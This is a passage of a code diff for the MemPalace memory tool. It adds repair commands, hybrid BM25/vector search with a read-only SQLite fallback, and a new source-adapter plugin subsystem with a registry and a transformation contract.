f"{[sid for sid, _ in remaining]}. Backup at {result['backup']}."
)
result["segment_repaired"] = [seg_id for seg_id, _old, _new in plan]
print(f"\n Repair complete. {len(plan)} row(s) restored.")
print(f" Backup: {result['backup'] or '(skipped)'}")
print(f"\n{'=' * 55}\n")
return result
if __name__ == "__main__":
p = argparse.ArgumentParser(description="MemPalace repair tools")
p.add_argument("command", choices=["scan", "prune", "rebuild"])
p.add_argument("command", choices=["status", "scan", "prune", "rebuild"])
p.add_argument("--palace", default=None, help="Palace directory path")
p.add_argument("--wing", default=None, help="Scan only this wing")
p.add_argument("--confirm", action="store_true", help="Actually delete corrupt IDs")
@@ -289,7 +755,9 @@ if __name__ == "__main__":
path = os.path.expanduser(args.palace) if args.palace else None
if args.command == "scan":
if args.command == "status":
status(palace_path=path)
elif args.command == "scan":
scan_palace(palace_path=path, only_wing=args.wing)
elif args.command == "prune":
prune_corrupt(palace_path=path, confirm=args.confirm)
+3 -1
View File
@@ -303,8 +303,10 @@ def save_config(project_dir: str, project_name: str, rooms: list):
def detect_rooms_local(project_dir: str, yes: bool = False):
"""Main entry point for local setup."""
from .config import normalize_wing_name
project_path = Path(project_dir).expanduser().resolve()
project_name = project_path.name.lower().replace(" ", "_").replace("-", "_")
project_name = normalize_wing_name(project_path.name)
if not project_path.exists():
print(f"ERROR: Directory not found: {project_dir}")
+278 -17
View File
@@ -11,7 +11,9 @@ hide drawers the direct path would have found.
import logging
import math
import os
import re
import sqlite3
from pathlib import Path
from .palace import get_closets_collection, get_collection
@@ -30,22 +32,30 @@ class SearchError(Exception):
_TOKEN_RE = re.compile(r"\w{2,}", re.UNICODE)
def _first_or_empty(results: dict, key: str) -> list:
"""Return the first inner list of a ChromaDB query result, or [].
def _first_or_empty(results, key: str) -> list:
"""Return the first inner list of a query result field, or [].
ChromaDB returns shapes like ``{"documents": [["a", "b"]], ...}`` for a
successful query, but ``{"documents": [], ...}`` (empty outer list) when
the collection is empty or the filter excludes everything. Indexing
``[0]`` blindly raises IndexError in that case (issue #195).
Accepts both the typed :class:`QueryResult` (attribute access) and the
pre-typed chroma dict shape; this polymorphism is retained so test mocks
still work and callers mid-migration do not crash. Preserves the empty-
collection semantics from issue #195: when no queries returned hits, the
outer list may be empty and indexing ``[0]`` would raise.
"""
outer = results.get(key)
outer = getattr(results, key, None) if not isinstance(results, dict) else results.get(key)
if not outer:
return []
return outer[0] or []
def _tokenize(text: str) -> list:
"""Lowercase + strip to alphanumeric tokens of length ≥ 2."""
"""Lowercase + strip to alphanumeric tokens of length ≥ 2.
Tolerates ``None`` documents — Chroma can return ``None`` in the
``documents`` field for drawers without text content, which would
otherwise raise ``AttributeError`` mid-rerank.
"""
if not text:
return []
return _TOKEN_RE.findall(text.lower())
@@ -209,7 +219,7 @@ def _expand_with_neighbors(drawers_col, matched_doc: str, matched_meta: dict, ra
return {"text": matched_doc, "drawer_index": chunk_idx, "total_drawers": None}
indexed_docs = []
for doc, meta in zip(neighbors.get("documents") or [], neighbors.get("metadatas") or []):
for doc, meta in zip(neighbors.documents, neighbors.metadatas):
ci = meta.get("chunk_index")
if isinstance(ci, int):
indexed_docs.append((ci, doc))
@@ -224,8 +234,7 @@ def _expand_with_neighbors(drawers_col, matched_doc: str, matched_meta: dict, ra
total_drawers = None
try:
all_meta = drawers_col.get(where={"source_file": src}, include=["metadatas"])
ids = all_meta.get("ids") or []
total_drawers = len(ids) if ids else None
total_drawers = len(all_meta.ids) if all_meta.ids else None
except Exception:
pass
@@ -236,6 +245,42 @@ def _expand_with_neighbors(drawers_col, matched_doc: str, matched_meta: dict, ra
}
def _warn_if_legacy_metric(col) -> None:
"""Print a one-line notice if the palace was created without
``hnsw:space=cosine``.
ChromaDB's default is L2 (Euclidean), under which cosine-based
similarity interpretation falls apart — distances routinely exceed
1.0 and the display ``max(0, 1 - dist)`` floors every result to 0.
Legacy palaces (mined before this metadata was consistently set)
need ``mempalace repair`` to rebuild with the correct metric.
The warning fires only for palaces that clearly have the wrong
metric; palaces with no metadata table at all (empty dict) also
fall under this check since that is the signal of a pre-metadata
palace.
"""
try:
meta = getattr(col, "metadata", None)
except Exception:
return
if not isinstance(meta, dict):
return
space = meta.get("hnsw:space")
if space == "cosine":
return
# Either missing or set to something else — both are suspect.
import sys as _sys
detail = f"hnsw:space={space!r}" if space else "no hnsw:space metadata"
print(
f"\n NOTICE: this palace was created without cosine distance ({detail}).\n"
" Semantic similarity scores will not be meaningful.\n"
" Run `mempalace repair` to rebuild the index with the correct metric.",
file=_sys.stderr,
)
def search(query: str, palace_path: str, wing: str = None, room: str = None, n_results: int = 5):
"""
Search the palace. Returns verbatim drawer content.
@@ -248,6 +293,10 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
print(" Run: mempalace init <dir> then mempalace mine <dir>")
raise SearchError(f"No palace found at {palace_path}")
# Alert the user if this palace predates hnsw:space=cosine being set on
# creation — their similarity scores will be junk until they run repair.
_warn_if_legacy_metric(col)
where = build_where_filter(wing, room)
try:
@@ -273,6 +322,20 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
print(f'\n No results found for: "{query}"')
return
# Pure-cosine retrieval on the CLI path was missing lexical matches:
# a drawer whose text contains every query term can still score distance
# >= 1.0 against the natural-language query when the drawer is a
# mechanical artifact (directory listing, diff, log fragment) that
# embeds as file-tree noise rather than as prose about its subject.
# The MCP tool path already hybridizes BM25 with vector sim via
# `_hybrid_rank`; do the same here so CLI results match what agents
# see via `mempalace_search`.
hits = [
{"text": doc or "", "distance": float(dist), "metadata": meta or {}}
for doc, meta, dist in zip(docs, metas, dists)
]
hits = _hybrid_rank(hits, query)
print(f"\n{'=' * 60}")
print(f' Results for: "{query}"')
if wing:
@@ -281,18 +344,20 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
print(f" Room: {room}")
print(f"{'=' * 60}\n")
for i, (doc, meta, dist) in enumerate(zip(docs, metas, dists), 1):
similarity = round(max(0.0, 1 - dist), 3)
for i, hit in enumerate(hits, 1):
vec_sim = round(max(0.0, 1 - hit["distance"]), 3)
bm25 = hit.get("bm25_score", 0.0)
meta = hit["metadata"]
source = Path(meta.get("source_file", "?")).name
wing_name = meta.get("wing", "?")
room_name = meta.get("room", "?")
print(f" [{i}] {wing_name} / {room_name}")
print(f" Source: {source}")
print(f" Match: {similarity}")
print(f" Match: cosine={vec_sim} bm25={bm25}")
print()
# Print the verbatim text, indented
for line in doc.strip().split("\n"):
for line in hit["text"].strip().split("\n"):
print(f" {line}")
print()
print(f" {'─' * 56}")
@@ -300,6 +365,186 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
print()
def _bm25_only_via_sqlite(
query: str,
palace_path: str,
wing: str = None,
room: str = None,
n_results: int = 5,
max_candidates: int = 500,
) -> dict:
"""BM25-only search reading drawers directly from chroma.sqlite3.
Used when HNSW is diverged or unloadable (#1222). Bypasses chromadb's
Python client entirely so a corrupt vector segment can't segfault the
MCP server. Routes through chromadb's own FTS5 trigram index
(``embedding_fulltext_search``) for candidate selection, then re-ranks
with the same Okapi-BM25 used in :func:`_hybrid_rank` so the result
shape matches the vector path.
The query is split into ≥3-char trigram-tokens and OR-joined for the
FTS5 MATCH — chromadb writes the index with ``tokenize='trigram'``,
so single-character tokens never match. When no usable token survives
(e.g. "is a"), candidate selection falls back to the most-recent
``max_candidates`` rows so we still return *something* rather than
nothing.
"""
db_path = os.path.join(palace_path, "chroma.sqlite3")
if not os.path.isfile(db_path):
return {
"error": "No palace found",
"hint": "Run: mempalace init <dir> && mempalace mine <dir>",
}
try:
conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True)
except sqlite3.Error as e:
return {"error": f"sqlite open failed: {e}"}
try:
# FTS5 MATCH expects whitespace-separated tokens. Drop tokens
# shorter than 3 chars (trigram tokenizer can't match them).
tokens = [t for t in _tokenize(query) if len(t) >= 3]
candidate_ids: list[int] = []
if tokens:
fts_query = " OR ".join(tokens)
try:
rows = conn.execute(
"""
SELECT rowid
FROM embedding_fulltext_search
WHERE embedding_fulltext_search MATCH ?
LIMIT ?
""",
(fts_query, max_candidates),
).fetchall()
candidate_ids = [r[0] for r in rows]
except sqlite3.Error:
# FTS5 tokenizer mismatch or syntax error — fall through
# to the recency-window selector below.
logger.debug("FTS5 MATCH failed; using recency fallback", exc_info=True)
if not candidate_ids:
# No FTS hits (or no usable tokens) — pull the most recent
# rows for the drawers segment so we can BM25-rank something
# rather than return empty-handed. Wrapped in try/except
# because the schema may differ on legacy palaces (older
# chromadb without ``created_at``, missing ``segments``
# rows after partial restore, etc.); on schema mismatch we
# fall back to ordering by primary-key id and finally to an
# empty result rather than letting search raise.
try:
rows = conn.execute(
"""
SELECT e.id
FROM embeddings e
JOIN segments s ON e.segment_id = s.id
JOIN collections c ON s.collection = c.id
WHERE c.name = 'mempalace_drawers'
ORDER BY e.created_at DESC
LIMIT ?
""",
(max_candidates,),
).fetchall()
candidate_ids = [r[0] for r in rows]
except sqlite3.Error:
logger.debug(
"recency-window query failed; trying id-ordered fallback",
exc_info=True,
)
try:
rows = conn.execute(
"""
SELECT e.id
FROM embeddings e
JOIN segments s ON e.segment_id = s.id
JOIN collections c ON s.collection = c.id
WHERE c.name = 'mempalace_drawers'
ORDER BY e.id DESC
LIMIT ?
""",
(max_candidates,),
).fetchall()
candidate_ids = [r[0] for r in rows]
except sqlite3.Error:
logger.debug("id-ordered fallback also failed", exc_info=True)
candidate_ids = []
if not candidate_ids:
return {
"query": query,
"filters": {"wing": wing, "room": room},
"total_before_filter": 0,
"results": [],
"fallback": "bm25_only_via_sqlite",
}
placeholders = ",".join(["?"] * len(candidate_ids))
meta_rows = conn.execute(
f"""
SELECT id, key, string_value, int_value
FROM embedding_metadata
WHERE id IN ({placeholders})
""",
candidate_ids,
).fetchall()
finally:
conn.close()
# Group metadata rows into per-drawer dicts.
drawers: dict[int, dict] = {}
for emb_id, key, sval, ival in meta_rows:
d = drawers.setdefault(emb_id, {"_id": emb_id, "metadata": {}, "text": ""})
if key == "chroma:document":
d["text"] = sval or ""
else:
d["metadata"][key] = sval if sval is not None else ival
# Apply wing/room filters in Python (FTS5 candidates may include
# entries from other wings).
candidates = []
for d in drawers.values():
meta = d["metadata"]
if wing and meta.get("wing") != wing:
continue
if room and meta.get("room") != room:
continue
candidates.append(
{
"text": d["text"],
"wing": meta.get("wing", "unknown"),
"room": meta.get("room", "unknown"),
"source_file": Path(meta.get("source_file", "?") or "?").name,
"created_at": meta.get("filed_at", "unknown"),
# No vector distance available in BM25-only mode.
"similarity": None,
"distance": None,
"matched_via": "bm25_sqlite",
}
)
# Local BM25 over the candidate set.
docs = [c["text"] for c in candidates]
bm25_raw = _bm25_scores(query, docs)
max_bm25 = max(bm25_raw) if bm25_raw else 0.0
for c, raw in zip(candidates, bm25_raw):
c["bm25_score"] = round(raw, 3)
c["_score"] = (raw / max_bm25) if max_bm25 > 0 else 0.0
candidates.sort(key=lambda c: c["_score"], reverse=True)
hits = candidates[:n_results]
for h in hits:
h.pop("_score", None)
return {
"query": query,
"filters": {"wing": wing, "room": room},
"total_before_filter": len(candidates),
"results": hits,
"fallback": "bm25_only_via_sqlite",
"fallback_reason": "vector_search_disabled",
}
def search_memories(
query: str,
palace_path: str,
@@ -307,6 +552,7 @@ def search_memories(
room: str = None,
n_results: int = 5,
max_distance: float = 0.0,
vector_disabled: bool = False,
) -> dict:
"""Programmatic search — returns a dict instead of printing.
@@ -322,7 +568,20 @@ def search_memories(
cosine distance (hnsw:space=cosine) — 0 = identical, 2 = opposite.
Results with distance > this value are filtered out. A value of
0.0 disables filtering. Typical useful range: 0.3–1.0.
vector_disabled: When True, route to the sqlite-only BM25 fallback
(#1222). Set by the MCP server when the HNSW capacity probe
detects a divergence that would segfault chromadb on segment
load.
"""
if vector_disabled:
return _bm25_only_via_sqlite(
query,
palace_path,
wing=wing,
room=room,
n_results=n_results,
)
try:
drawers_col = get_collection(palace_path, create=False)
except Exception as e:
@@ -372,6 +631,7 @@ def search_memories(
_first_or_empty(closet_results, "distances"),
)
):
cmeta = cmeta or {}
source = cmeta.get("source_file", "")
if source and source not in closet_boost_by_source:
closet_boost_by_source[source] = (rank, cdist, cdoc[:200])
@@ -394,6 +654,7 @@ def search_memories(
if max_distance > 0.0 and dist > max_distance:
continue
meta = meta or {}
source = meta.get("source_file", "") or ""
boost = 0.0
matched_via = "drawer"
@@ -451,8 +712,8 @@ def search_memories(
)
except Exception:
continue
docs = source_drawers.get("documents") or []
metas_ = source_drawers.get("metadatas") or []
docs = source_drawers.documents
metas_ = source_drawers.metadatas
if len(docs) <= 1:
continue
+74
View File
@@ -0,0 +1,74 @@
"""Source adapter subsystem (RFC 002).
Public surface:
* :class:`BaseSourceAdapter` — per-source read-side contract.
* Typed records: :class:`SourceRef`, :class:`SourceItemMetadata`,
:class:`DrawerRecord`, :class:`RouteHint`, :class:`SourceSummary`,
:class:`AdapterSchema`, :class:`FieldSpec`.
* Error classes: :class:`SourceNotFoundError`, :class:`AuthRequiredError`,
:class:`AdapterClosedError`, :class:`TransformationViolationError`,
:class:`SchemaConformanceError`.
* Registry: :func:`register`, :func:`get_adapter`, :func:`available_adapters`,
:func:`resolve_adapter_for_source`.
* :class:`PalaceContext` — facade core passes to adapters during ``ingest``.
* :mod:`transforms` — reference implementations of the reserved §1.4
transformations + :func:`get_transformation` resolver.
"""
from .base import (
AdapterClosedError,
AdapterSchema,
AuthRequiredError,
BaseSourceAdapter,
DrawerRecord,
FieldSpec,
IngestMode,
IngestResult,
RouteHint,
SchemaConformanceError,
SourceAdapterError,
SourceItemMetadata,
SourceNotFoundError,
SourceRef,
SourceSummary,
TransformationViolationError,
)
from .context import PalaceContext, ProgressHook
from .registry import (
available_adapters,
get_adapter,
get_adapter_class,
register,
reset_adapters,
resolve_adapter_for_source,
unregister,
)
__all__ = [
"AdapterClosedError",
"AdapterSchema",
"AuthRequiredError",
"BaseSourceAdapter",
"DrawerRecord",
"FieldSpec",
"IngestMode",
"IngestResult",
"PalaceContext",
"ProgressHook",
"RouteHint",
"SchemaConformanceError",
"SourceAdapterError",
"SourceItemMetadata",
"SourceNotFoundError",
"SourceRef",
"SourceSummary",
"TransformationViolationError",
"available_adapters",
"get_adapter",
"get_adapter_class",
"register",
"reset_adapters",
"resolve_adapter_for_source",
"unregister",
]
+245
View File
@@ -0,0 +1,245 @@
"""Source adapter contract for MemPalace (RFC 002).
Mirrors what ``mempalace/backends/base.py`` does for the write side: it defines
the read-side surface every source adapter must implement. A source adapter
extracts content from a specific origin (filesystem, git, Slack, Cursor …) and
yields typed records (``SourceItemMetadata`` / ``DrawerRecord``) that core
routes into the palace.
This module is spec scaffolding. The first-party miners (``mempalace/miner.py``
and ``mempalace/convo_miner.py``) are migrated onto it in a follow-up PR;
in this PR we publish the contract so third-party adapters can begin building
against a stable surface.
See ``docs/rfcs/002-source-adapter-plugin-spec.md`` for the authoritative
spec text.
"""
from __future__ import annotations
from abc import ABC, abstractmethod
from dataclasses import dataclass, field
from typing import TYPE_CHECKING, ClassVar, Iterator, Literal, Optional
if TYPE_CHECKING:
from .context import PalaceContext # noqa: F401 (used in string annotation)
# ---------------------------------------------------------------------------
# Errors
# ---------------------------------------------------------------------------
class SourceAdapterError(Exception):
"""Base class for every source-adapter error raised by core."""
class SourceNotFoundError(SourceAdapterError):
"""Raised when a ``SourceRef`` does not resolve to a readable source."""
class AuthRequiredError(SourceAdapterError):
"""Raised when an adapter needs credentials that were not provided.
The message MUST name the env vars (or other supported mechanism) the
operator needs to set.
"""
class AdapterClosedError(SourceAdapterError):
"""Raised when an adapter method is called after ``close()``."""
class TransformationViolationError(SourceAdapterError):
"""Raised by the conformance suite when round-tripping a drawer requires
an undeclared transformation (RFC 002 §7.2–7.3)."""
class SchemaConformanceError(SourceAdapterError):
"""Raised when a ``DrawerRecord.metadata`` violates the adapter schema
returned by :meth:`BaseSourceAdapter.describe_schema`."""
# ---------------------------------------------------------------------------
# Value objects
# ---------------------------------------------------------------------------
@dataclass(frozen=True)
class SourceRef:
"""A handle to the source a user wants to ingest.
``local_path`` is for filesystem-rooted sources (project dir, mbox file).
``uri`` is for URL-like references (``github.com/org/repo``,
``slack://workspace/channel``).
``options`` carries adapter-specific non-secret config. Secrets MUST NOT
be placed here; see §4.2.
"""
local_path: Optional[str] = None
uri: Optional[str] = None
options: dict = field(default_factory=dict)
@dataclass(frozen=True)
class RouteHint:
"""Adapter-supplied routing hint (RFC 002 §2.5)."""
wing: Optional[str] = None
room: Optional[str] = None
hall: Optional[str] = None
@dataclass(frozen=True)
class SourceItemMetadata:
"""Lightweight pointer yielded before drawers for lazy-fetch adapters.
Core inspects ``version`` via :meth:`BaseSourceAdapter.is_current` to
decide whether to skip extraction; an adapter that responds positively
stops yielding drawers for this item and moves to the next.
"""
source_file: str
version: str
size_hint: Optional[int] = None
route_hint: Optional[RouteHint] = None
@dataclass(frozen=True)
class DrawerRecord:
"""One drawer's worth of extracted content plus flat metadata.
``metadata`` values MUST be flat scalars (``str``/``int``/``float``/``bool``)
per RFC 001 §1.4 — the chroma constraint. Nested data belongs on the
knowledge graph (§5.5) or in a declared ``json_string`` field (§5.4).
"""
content: str
source_file: str
chunk_index: int = 0
metadata: dict = field(default_factory=dict)
route_hint: Optional[RouteHint] = None
@dataclass(frozen=True)
class SourceSummary:
"""High-level description of a source returned by :meth:`source_summary`."""
description: str
item_count: Optional[int] = None
IngestMode = Literal["chunked_content", "whole_record", "metadata_only"]
@dataclass(frozen=True)
class FieldSpec:
"""Declared shape of a single per-adapter metadata field (§5.2)."""
type: Literal["string", "int", "float", "bool", "delimiter_joined_string", "json_string"]
required: bool
description: str
indexed: bool = False
delimiter: str = ";"
json_schema: Optional[dict] = None
@dataclass(frozen=True)
class AdapterSchema:
"""The per-adapter metadata schema returned by :meth:`describe_schema`."""
fields: dict[str, FieldSpec]
version: str
# The union type adapters yield from ``ingest``.
IngestResult = object # intentionally broad; runtime checks in core
# ---------------------------------------------------------------------------
# Adapter contract
# ---------------------------------------------------------------------------
class BaseSourceAdapter(ABC):
"""Long-lived adapter serving many ``SourceRef`` invocations (RFC 002 §2).
Instances are lightweight on construction — no I/O, no network, no
credential fetch. All work is deferred to :meth:`ingest`. Instances are
thread-safe for concurrent ``ingest`` calls across different ``SourceRef``
values (v1 serializes within a single ``SourceRef``).
Class attributes form the adapter's identity contract:
* ``name`` — stable adapter name used for registration and drawer metadata.
* ``adapter_version`` — adapter's own version, independent of
``spec_version``. Recorded on every drawer so re-extract workflows can
target drawers from a known-buggy adapter version.
* ``capabilities`` — free-form tokens; core inspects a documented subset.
* ``supported_modes`` — subset of ``chunked_content``, ``whole_record``,
``metadata_only``.
* ``declared_transformations`` — set of transformation names the adapter
applies to source bytes. The empty set marks a byte-preserving adapter.
* ``default_privacy_class`` — privacy class level (§6) applied unless the
palace config overrides it.
"""
name: ClassVar[str]
spec_version: ClassVar[str] = "1.0"
adapter_version: ClassVar[str] = "0.0.0"
capabilities: ClassVar[frozenset[str]] = frozenset()
supported_modes: ClassVar[frozenset[str]] = frozenset({"chunked_content"})
declared_transformations: ClassVar[frozenset[str]] = frozenset()
default_privacy_class: ClassVar[str] = "pii_potential"
# ------------------------------------------------------------------
# Required methods
# ------------------------------------------------------------------
@abstractmethod
def ingest(
self,
*,
source: SourceRef,
palace: "PalaceContext",
) -> Iterator[IngestResult]:
"""Enumerate and extract content from a source.
Yields a stream of ``SourceItemMetadata`` and ``DrawerRecord`` values.
Lazy adapters yield ``SourceItemMetadata`` ahead of the drawers for
that item so core can check :meth:`is_current` before committing to
the fetch. Eager adapters MAY interleave freely.
"""
@abstractmethod
def describe_schema(self) -> AdapterSchema:
"""Declare the structured metadata this adapter attaches.
The returned schema MUST be stable for a given ``adapter_version``.
Enterprises index on it; core uses it to validate adapter output.
"""
# ------------------------------------------------------------------
# Optional methods with default implementations
# ------------------------------------------------------------------
def is_current(
self,
*,
item: SourceItemMetadata,
existing_metadata: Optional[dict],
) -> bool:
"""Return True if the palace already has an up-to-date copy of ``item``.
Default: always returns False (re-extract every time). Adapters
advertising ``supports_incremental`` MUST override.
"""
return False
def source_summary(self, *, source: SourceRef) -> SourceSummary:
"""Describe a source without extracting."""
return SourceSummary(description=self.name)
def close(self) -> None:
"""Release any resources the adapter holds. Default: no-op."""
return None
+142
View File
@@ -0,0 +1,142 @@
"""``PalaceContext`` facade passed to source adapters (RFC 002 §9).
Bundles the palace-side surface an adapter needs during :meth:`ingest`:
drawer collection, closet collection, knowledge graph, palace config, and
progress hooks. Adapters receive a ``PalaceContext`` instance and MUST NOT
import ``mempalace.palace`` directly — that coupling is what the facade
exists to prevent.
This module publishes the shape third-party adapters target. Core's mine
loop will construct a concrete ``PalaceContext`` and pass it to adapters
when the filesystem/conversations miners are migrated onto ``BaseSourceAdapter``
in a follow-up PR; until then, no in-tree code constructs one, but the
contract is stable.
"""
from __future__ import annotations
from dataclasses import dataclass, field
from typing import Any, Callable, Optional, Protocol
from .base import DrawerRecord
class _CollectionLike(Protocol):
"""Minimum of :class:`mempalace.backends.BaseCollection` adapters rely on.
Declared as a Protocol so tests and third-party adapters can substitute
any object with compatible method signatures without importing the
concrete backend. See ``mempalace/backends/base.py`` for the full surface.
"""
def add(self, **kwargs: Any) -> None: ...
def upsert(self, **kwargs: Any) -> None: ...
def query(self, **kwargs: Any) -> Any: ...
def get(self, **kwargs: Any) -> Any: ...
def delete(self, **kwargs: Any) -> None: ...
def count(self) -> int: ...
class _KnowledgeGraphLike(Protocol):
def add_triple(self, subject: str, predicate: str, obj: str, **kwargs: Any) -> Any: ...
# Progress hook signature: ``fn(event_name, **details) -> None``.
ProgressHook = Callable[..., None]
@dataclass
class PalaceContext:
"""Per-mine-invocation facade passed to :meth:`BaseSourceAdapter.ingest`.
Fields:
drawer_collection: The palace's drawer collection (via RFC 001 backend).
closet_collection: The palace's closet collection, or ``None`` if the
palace has no closets yet. Adapters should not write to this
directly; core builds closets post-step (RFC 002 §1.7).
knowledge_graph: The palace's SQLite knowledge graph. Adapters
advertising ``supports_kg_triples`` call ``add_triple`` on it.
palace_path: Filesystem root of the palace (convenience; same as
``backend.PalaceRef.local_path``).
config: Palace config object (hall keywords, rooms list, privacy
floor, etc.). Shape is the existing :class:`MempalaceConfig`.
adapter_name: Name of the adapter currently ingesting; populated by
core so drawers can carry ``metadata["adapter_name"]``.
adapter_version: Version of the adapter currently ingesting.
progress_hooks: Optional callables core invokes on progress events.
Methods are intentionally thin wrappers so the concrete mine loop in
core can swap implementations without changing adapter code.
"""
drawer_collection: _CollectionLike
knowledge_graph: _KnowledgeGraphLike
palace_path: str
closet_collection: Optional[_CollectionLike] = None
config: Optional[Any] = None
adapter_name: str = ""
adapter_version: str = ""
progress_hooks: list[ProgressHook] = field(default_factory=list)
# Internal: flag set by :meth:`skip_current_item` and checked by the core
# mine loop between yields. Not part of the adapter-facing contract; the
# adapter only needs to know that calling :meth:`skip_current_item` stops
# drawer emission for the current ``SourceItemMetadata``.
_skip_requested: bool = False
# ------------------------------------------------------------------
# Adapter-facing surface
# ------------------------------------------------------------------
def upsert_drawer(self, record: DrawerRecord) -> None:
"""Persist a ``DrawerRecord`` to the drawer collection.
Applies the spec-mandated ``adapter_name`` and ``adapter_version``
metadata stamps (§5.1) so adapters never need to populate them.
"""
meta = dict(record.metadata)
meta.setdefault("source_file", record.source_file)
meta.setdefault("chunk_index", record.chunk_index)
if self.adapter_name:
meta.setdefault("adapter_name", self.adapter_name)
if self.adapter_version:
meta.setdefault("adapter_version", self.adapter_version)
drawer_id = _build_drawer_id(record)
self.drawer_collection.upsert(
documents=[record.content],
ids=[drawer_id],
metadatas=[meta],
)
def skip_current_item(self) -> None:
"""Signal to core that the current ``SourceItemMetadata`` is up-to-date
and no drawers should be emitted for it. Core resets the flag after
advancing past the item."""
self._skip_requested = True
def emit(self, event: str, **details: Any) -> None:
"""Invoke each registered progress hook with ``(event, **details)``."""
for hook in self.progress_hooks:
try:
hook(event, **details)
except Exception: # pragma: no cover - hook errors never fail mine
import logging
logging.getLogger(__name__).exception("progress hook failed on %r", event)
def _build_drawer_id(record: DrawerRecord) -> str:
"""Deterministic drawer id: ``<sha256(source_file)[:24]>_<chunk_index>``.
Matches the shape existing miners rely on (``source_file`` + chunk index
pair) while keeping the id chroma-safe (no separators that collide with
existing metadata values). 96-bit SHA-256 prefix keeps collision risk
negligible across corpora the size of a palace (sha1@64 bits was too
close to the birthday bound for large ingests). Adapters that need a
different id scheme can bypass :meth:`PalaceContext.upsert_drawer` and
write through ``drawer_collection.upsert`` directly.
"""
import hashlib
digest = hashlib.sha256(record.source_file.encode("utf-8")).hexdigest()[:24]
return f"{digest}_{record.chunk_index}"
+162
View File
@@ -0,0 +1,162 @@
"""Source adapter registry + entry-point discovery (RFC 002 §3).
Third-party adapters ship as installable packages that declare a
``mempalace.sources`` entry point::
# pyproject.toml of mempalace-source-cursor
[project.entry-points."mempalace.sources"]
cursor = "mempalace_source_cursor:CursorAdapter"
MemPalace discovers them at process start. In-tree tests and local
development can register manually via :func:`register`. Explicit
registration wins on name conflict (RFC 002 §3.2).
Unlike storage backends (RFC 001 §3.3), source adapters are never auto-
detected — the user selects the adapter explicitly via ``--source NAME``
or config (§3.3). The default when no adapter is named is ``filesystem``
(to preserve current ``mempalace mine <path>`` behavior).
"""
from __future__ import annotations
import logging
from importlib import metadata
from threading import Lock
from typing import Type
from .base import BaseSourceAdapter
logger = logging.getLogger(__name__)
_ENTRY_POINT_GROUP = "mempalace.sources"
_DEFAULT_ADAPTER = "filesystem"
_registry: dict[str, Type[BaseSourceAdapter]] = {}
_instances: dict[str, BaseSourceAdapter] = {}
_explicit: set[str] = set()
_discovered = False
_lock = Lock()
def register(name: str, adapter_cls: Type[BaseSourceAdapter]) -> None:
"""Register ``adapter_cls`` under ``name``.
Explicit registration wins over entry-point discovery on conflict (§3.2).
"""
with _lock:
_registry[name] = adapter_cls
_explicit.add(name)
_instances.pop(name, None)
def unregister(name: str) -> None:
"""Remove an adapter registration (primarily for tests)."""
with _lock:
_registry.pop(name, None)
_explicit.discard(name)
_instances.pop(name, None)
def _discover_entry_points() -> None:
global _discovered
if _discovered:
return
with _lock:
if _discovered:
return
try:
eps = metadata.entry_points()
group = (
eps.select(group=_ENTRY_POINT_GROUP)
if hasattr(eps, "select")
else eps.get(_ENTRY_POINT_GROUP, [])
)
except Exception:
logger.exception("entry-point discovery for %s failed", _ENTRY_POINT_GROUP)
group = []
for ep in group:
if ep.name in _explicit:
continue # explicit registration wins
try:
cls = ep.load()
except Exception:
logger.exception("failed to load adapter entry point %r", ep.name)
continue
if not isinstance(cls, type) or not issubclass(cls, BaseSourceAdapter):
logger.warning(
"entry point %r did not resolve to a BaseSourceAdapter subclass (got %r)",
ep.name,
cls,
)
continue
_registry.setdefault(ep.name, cls)
_discovered = True
def available_adapters() -> list[str]:
"""Return sorted list of all registered adapter names."""
_discover_entry_points()
return sorted(_registry.keys())
def get_adapter_class(name: str) -> Type[BaseSourceAdapter]:
"""Return the registered adapter class for ``name``."""
_discover_entry_points()
try:
return _registry[name]
except KeyError as e:
raise KeyError(f"unknown source adapter {name!r}; available: {available_adapters()}") from e
def get_adapter(name: str) -> BaseSourceAdapter:
"""Return a long-lived instance of the named adapter.
Instances are cached per-name; repeated calls return the same object.
Call :func:`reset_adapters` in tests that need isolation.
"""
_discover_entry_points()
with _lock:
inst = _instances.get(name)
if inst is not None:
return inst
cls = _registry.get(name)
if cls is None:
raise KeyError(
f"unknown source adapter {name!r}; available: {sorted(_registry.keys())}"
)
inst = cls()
_instances[name] = inst
return inst
def reset_adapters() -> None:
"""Close and drop all cached adapter instances (primarily for tests)."""
with _lock:
for inst in _instances.values():
try:
inst.close()
except Exception:
logger.exception("error closing adapter during reset")
_instances.clear()
def resolve_adapter_for_source(
*,
explicit: str | None = None,
config_value: str | None = None,
default: str = _DEFAULT_ADAPTER,
) -> str:
"""Resolve the adapter name per RFC 002 §3.3 priority order.
1. Explicit ``--source`` flag or kwarg
2. Per-source config value
3. Default (``filesystem``)
Auto-detection is *intentionally* absent on the read side (§3.3); a
directory containing ``.git`` + ``workspaceStorage/`` + an ``mbox`` file
is not a signal of user intent.
"""
for candidate in (explicit, config_value):
if candidate:
return candidate
return default
+196
View File
@@ -0,0 +1,196 @@
"""Reference implementations of the reserved content transformations (RFC 002 §1.4).
Every source adapter declares the set of transformations it applies to source
bytes via ``declared_transformations``. The conformance suite then verifies
that the adapter's output can be reproduced from the source bytes by applying
*only* the declared transformations in declaration order, using these
reference implementations.
Each transformation is a pure function on strings (text content after UTF-8
decoding). ``utf8_replace_invalid`` is the one that operates on bytes.
The invariant the spec enforces: **no transformation is applied that is not
declared in the adapter's set**. Adapters with an empty set are byte-preserving
end-to-end (modulo the initial UTF-8 decode itself, which is captured by
``utf8_replace_invalid`` when applicable).
Adapters MAY add custom transformations beyond the reserved set; third-party
names SHOULD be prefixed with the adapter name (``cursor.composer_ordering``).
Custom transformations MUST expose a reference implementation under
``mempalace.sources.transforms.<adapter_name>_<transform_name>`` so the
conformance suite can locate and apply them.
"""
from __future__ import annotations
import re
from typing import Protocol, Union
class Transformation(Protocol):
"""Callable signature every reserved transformation conforms to.
Accepts the current stage of the pipeline — ``bytes`` on input
(``utf8_replace_invalid``) or ``str`` after decoding — and returns ``str``.
Adapters compose them in declaration order; the first step operates on the
original source bytes, every subsequent step on the prior step's output.
"""
def __call__(self, data: Union[bytes, str], /) -> str: ...
# ---------------------------------------------------------------------------
# Reserved transformations
# ---------------------------------------------------------------------------
def utf8_replace_invalid(raw: bytes) -> str:
